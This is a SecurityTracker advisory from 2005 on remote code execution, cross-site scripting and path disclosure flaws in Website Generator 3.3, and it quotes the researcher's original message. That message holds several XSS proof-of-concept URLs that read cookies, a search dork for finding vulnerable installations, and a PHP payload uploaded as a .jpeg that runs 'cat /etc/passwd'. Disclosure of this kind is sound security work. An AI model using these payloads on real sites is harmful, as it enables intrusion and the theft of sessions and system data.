SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (Forum/Board/Portal)  >   Website Generator Vendors:   Free Host Shop
Website Generator Image Upload Preview Lets Remote Users Execute Arbitrary Code
SecurityTracker Alert ID:  1014535
SecurityTracker URL:  http://securitytracker.com/id/1014535
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Jul 20 2005
Impact:   Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information, User access via network
Exploit Included:  Yes  
Version(s): 3.3
Description:   rgod reported several vulnerabilities in Website Generator. A remote user can execute arbitrary PHP code on the target system. A remote user can also conduct cross-site scripting attacks.

A remote user can use the image upload feature to upload a file containing arbitrary PHP code but having a '.jpeg' extension. Then, the remote user can load the 'img_library.php' page to preview the file to cause the PHP code to be executed.

The software does not properly filter HTML code from user-supplied input. A remote user can create a specially crafted URL that, when loaded by a target user, will cause arbitrary scripting code to be executed by the target user's browser. The code will originate from the site running the Website Generator software and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.

Some demonstration exploit URLs are provided:

http://[target]/[path]/spaw/img_popup.php?img_url="%20border="0"/><script>alert(document.cookie)</script>
http://[target]/[path]/spaw/dialogs/colorpicker.php?theme="><body><script>alert(document.cookie)</script>
http://[target]/[path]/spaw/dialogs/table.php?theme="><body><script>alert(document.cookie)</script>
http://[target]/[path]/spaw/dialogs/td.php?theme="><body><script>alert(document.cookie)</script>
http://[target]/[path]/spaw/dialogs/confirm.php?theme="><body><script>alert(document.cookie)</script>
http://[target]/[path]/spaw/dialogs/a.php?theme="><body><script>alert(document.cookie)</script>
http://[target]/[path]/spaw/dialogs/banner_library.php?theme="><body><script>alert(document.cookie)</script>

A remote user can supply the following URL to cause the system to disclose the installation path:

http://[target]/[path]/spaw/spaw_control.class.php

Impact:   A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.

A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the Website Generator software, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.

A remote user can determine the installation path.

Solution:   No solution was available at the time of this entry.
Vendor URL:  www.freehostshop.com/files/index.php?id=1 (Links to External Site)
Cause:   Access control error, Input validation error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  Website Generator 3.3 Multiple vulnerabilities


Website Generator 3.3 Multiple vulnerabilities
 
path disclosure:
 
http://[target]/[path]/spaw/spaw_control.class.php
 
XSS:
 
http://[target]/[path]/spaw/img_popup.php?img_url="%20border="0"/><script>alert(document.cookie)</script>
http://[target]/[path]/spaw/dialogs/colorpicker.php?theme="><body><script>alert(document.cookie)</script>
http://[target]/[path]/spaw/dialogs/table.php?theme="><body><script>alert(document.cookie)</script>
http://[target]/[path]/spaw/dialogs/td.php?theme="><body><script>alert(document.cookie)</script>
http://[target]/[path]/spaw/dialogs/confirm.php?theme="><body><script>alert(document.cookie)</script>
http://[target]/[path]/spaw/dialogs/a.php?theme="><body><script>alert(document.cookie)</script>
http://[target]/[path]/spaw/dialogs/banner_library.php?theme="><body><script>alert(document.cookie)</script>
 
remote image file upload/overwriting:
       googledork: inurl:/spaw/dialogs
 
remote code execution:
upload a file win this text inside from /spaw/dialogs/img_library.php:
<?php system('cat /etc/passwd'); ?>
 
with command.jpeg name
 
then look at img_library.php page,
 visualize preview and, if system is vulnerable you will see /etc/passwd file plain text
otherwise you will see php code....
 
 
rgod
 
mail: rgod[at]autistici.org
site: http://rgod.altervista.org
 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2021, SecurityGlobal.net LLC